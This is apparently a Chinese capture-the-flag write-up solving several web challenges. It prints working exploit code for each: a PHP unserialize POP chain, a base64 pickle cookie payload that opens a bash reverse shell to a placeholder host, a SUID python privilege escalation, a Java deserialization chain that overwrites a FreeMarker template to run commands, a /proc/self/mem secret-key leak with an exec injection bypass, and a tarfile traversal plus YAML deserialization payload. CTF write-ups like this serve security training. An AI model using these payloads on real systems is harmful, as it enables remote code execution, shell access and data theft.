D0n't pl4y g4m3!!!PHP<=7.4.21 Development Server源码泄露漏洞 获取源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<? php
header ( "HTTP/1.1 302 found" );
header ( "Location:https://passer-by.com/pacman/" );
class Pro {
private $exp ;
private $rce2 ;
public function __get ( $name )
{
return $this -> $rce2 = $this -> exp [ $rce2 ];
}
public function __toString ()
{
call_user_func ( 'system' , "cat /flag" );
}
}
class Yang
{
public function __call ( $name , $ary )
{
if ( $this -> key === true || $this -> finish1 -> name ) {
if ( $this -> finish -> finish ) {
call_user_func ( $this -> now [ $name ], $ary [ 0 ]);
}
}
}
public function ycb ()
{
$this -> now = 0 ;
return $this -> finish -> finish ;
}
public function __wakeup ()
{
$this -> key = True ;
}
}
class Cheng
{
private $finish ;
public $name ;
public function __get ( $value )
{
return $this -> $value = $this -> name [ $value ];
}
}
class Bei
{
public function __destruct ()
{
if ( $this -> CTF -> ycb ()) {
$this -> fine -> YCB1 ( $this -> rce , $this -> rce1 );
}
}
public function __wakeup ()
{
$this -> key = false ;
}
}
function prohib ( $a ){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ;
return preg_replace ( $filter , '' , $a );
}
$a = $_POST [ "CTF" ];
if ( isset ( $a )){
unserialize ( prohib ( $a ));
}
?>
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<? php
class Pro {
private $exp ;
private $rce2 ;
public function __get ( $name )
{
return $this -> $rce2 = $this -> exp [ $rce2 ] ;
}
public function __toString ()
{
call_user_func ( ' system ' , "cat /flag" );
}
}
class Yang
{
public function __call ( $name , $ary )
{
if ( $this -> key === true || $this -> finish1 -> name ) {
if ( $this -> finish -> finish ) {
//call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb ()
{
$this -> now = 0 ;
return $this -> finish -> finish ;
}
public function __wakeup ()
{
$this -> key = True ;
}
}
class Cheng
{
private $finish ;
public $name ;
public function __construct (){
$this -> finish = true ;
}
public function __get ( $value )
{
return $this -> $value = $this -> name [ $value ] ;
}
}
class Bei
{
public function __destruct ()
{
if ( $this -> CTF -> ycb ()) {
$this -> fine -> YCB1 ( $this -> rce , $this -> rce1 );
}
}
public function __wakeup ()
{
$this -> key = false ;
}
}
$a = new Bei ();
$b = new Yang ();
$c = new Cheng ();
$d = new Yang ();
$a -> CTF = $b ;
$b -> finish = $c ;
$c -> name = array ( "finish" => "a" );
$a -> fine = $d ;
$d -> finish1 = $c ;
$d -> finish = $c ;
$d -> now = array ( "YCB1" => "system" );
$a -> rce = "cat /tmp/*" ;
echo urlencode ( serialize ( $a ));
?>
然后使用十六进制绕过关键字
Serpentwww.zip
获取源码:
通过session中的secret_key
伪造session:
访问/src0de
获取另一部分源码,主要是pickle反序列化:
1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
import requests
url = "xxxx"
data = """(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
system
."""
cookie = {
"pick1e" : base64 . b64encode ( data . encode ()) . decode ()
}
res = requests . get ( url , cookies = cookie )
print ( res . text )
然后发现python3.8有suid权限,可用于提权:
1
2
3
import os
os . setuid ( 0 )
os . popen ( "chmod 777 /flag" )
ez_java反序列化写文件覆盖模板造成命令执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.ycbjava.Utils.HtmlInvocationHandler ;
import com.ycbjava.Utils.HtmlMap ;
import java.io.ByteArrayOutputStream ;
import java.io.ObjectOutputStream ;
import java.lang.reflect.Constructor ;
import java.lang.reflect.InvocationHandler ;
import java.lang.reflect.Proxy ;
import java.util.Base64 ;
import java.util.Map ;
public class Exp {
public static void main ( String [] args ) throws Exception {
HtmlMap htmlMap = new HtmlMap ();
htmlMap . filename = "index.ftl" ;
htmlMap . content = "<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
" <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
" <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
" <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}\n" ;
HtmlInvocationHandler hih = new HtmlInvocationHandler ();
hih . obj = htmlMap ;
Map proxyMap = ( Map ) Proxy . newProxyInstance ( Map . class . getClassLoader (), new Class [] { Map . class }, hih );
Constructor <?> ctor = Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" ). getDeclaredConstructors () [ 0 ] ;
ctor . setAccessible ( true );
InvocationHandler handler = ( InvocationHandler ) ctor . newInstance ( Override . class , proxyMap );
ByteArrayOutputStream bos = new ByteArrayOutputStream ();
new ObjectOutputStream ( bos ). writeObject ( handler );
String paylaod = new String (
Base64 . getEncoder (). encode ( bos . toByteArray ())
);
System . out . println ( paylaod );
}
}
ArkNights源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import uuid
from flask import *
from werkzeug.utils import *
app = Flask ( __name__ )
app . config [ 'SECRET_KEY' ] = str ( uuid . uuid4 ()) . replace ( "-" , "*" ) + "Boogipopisweak"
@app.route ( '/' )
def index ():
name = request . args . get ( "name" , "name" )
m1sery = [ request . args . get ( "m1sery" , "Doctor.Boogipop" )]
if ( session . get ( "name" ) == "Dr.Boog1pop" ):
blacklist = re . findall ( "/ba|sh| \\\\ |\[|]|#|system|'| \" /" , name , re . IGNORECASE )
if blacklist :
return "bad hacker no way"
exec ( f 'for [ { name } ] in [ { m1sery } ]:print("strange?")' )
else :
session [ 'name' ] = "Doctor"
return render_template ( "index.html" , name = session . get ( "name" ))
@app.route ( '/read' )
def read ():
file = request . args . get ( 'file' )
fileblacklist = re . findall ( "/flag|fl|ag/" , file , re . IGNORECASE )
if fileblacklist :
return "bad hacker!"
start = request . args . get ( "start" , "0" )
end = request . args . get ( "end" , "0" )
if start == "0" and end == "0" :
return open ( file , "rb" ) . read ()
else :
start , end = int ( start ), int ( end )
f = open ( file , "rb" )
f . seek ( start )
data = f . read ( end )
return data
@app.route ( "/<path:path>" )
def render_page ( path ):
print ( os . path . pardir )
print ( path )
if not os . path . exists ( "templates/" + path ):
return "not found" , 404
return render_template ( path )
if __name__ == '__main__' :
app . run (
debug = False ,
host = "0.0.0.0"
)
print ( app . config [ 'SECRET_KEY' ])
正常思路是通过目录穿越读取/proc/self/maps
获取secret_key
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests , re
url = "xxxxxx"
maps_url = f " { url } /read?file=/proc/self/maps"
maps_reg = "([a-z0-9] {12} -[a-z0-9] {12} ) rw.*?00000000 00:00 0"
maps = re . findall ( maps_reg , requests . get ( maps_url ) . text )
print ( maps )
for m in maps :
start , end = m . split ( "-" )[ 0 ], m . split ( "-" )[ 1 ]
Offset , Length = str ( int ( start , 16 )), str ( int ( end , 16 ) - int ( start , 16 ))
read_url = f " { url } /read?file=/proc/self/mem&start= { Offset } &end= { Length } "
s = requests . get ( read_url ) . content
rt = re . findall ( b "[a-z0-9] {8} \\ *[a-z0-9] {4} \\ *[a-z0-9] {4} \\ *[a-z0-9] {4} \\ *[a-z0-9] {12} Boogipopisweak" , s )
if rt :
print ( rt )
伪造session:
然后到下一步得绕过exec
的命令注入
1
2
3
4
blacklist = re . findall ( "/ba|sh| \\\\ |\[|]|#|system|'| \" /" , name , re . IGNORECASE )
if blacklist :
return "bad hacker no way"
exec ( f 'for [ { name } ] in [ { m1sery } ]:print("strange?")' )
大概是一个类似SSTI的场景,但是得绕过一些关键字:
1
2
3
4
5
6
7
8
9
def func ( s ):
ss = ""
for i in s :
ss += f "chr( { ord ( i ) } )%2b"
return ss [: - 3 ]
cmd = "open -a Calculator.app"
name = f "().__class__.__base__.__subclasses__().__getitem__(135).__init__.__getattribute__( { func ( '__globals__' ) } ).__getitem__( { func ( 'sys' ) } ).modules.__getitem__( { func ( 'os' ) } ).popen( { func ( cmd ) } ).read"
name = f "__import__( { func ( 'os' ) } ).popen( { func ( cmd ) } ).read"
print ( name )
本地打的效果如下:
还有一种思路是可以在session中放关键字然后用session.get(1)
绕过引号过滤。
ezyamltarfile
解压导致的目录穿越
1
2
3
4
import tarfile
tf = tarfile . TarFile ( "tmp/a.tar.gz" , "w" )
tf . add ( "../../config/a.yaml" )
之后通过yaml反序列化+写模板获取回显:
1
2
3
4
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ __import__('os').system('cat /fllaagg_here > templates/admin.html') ]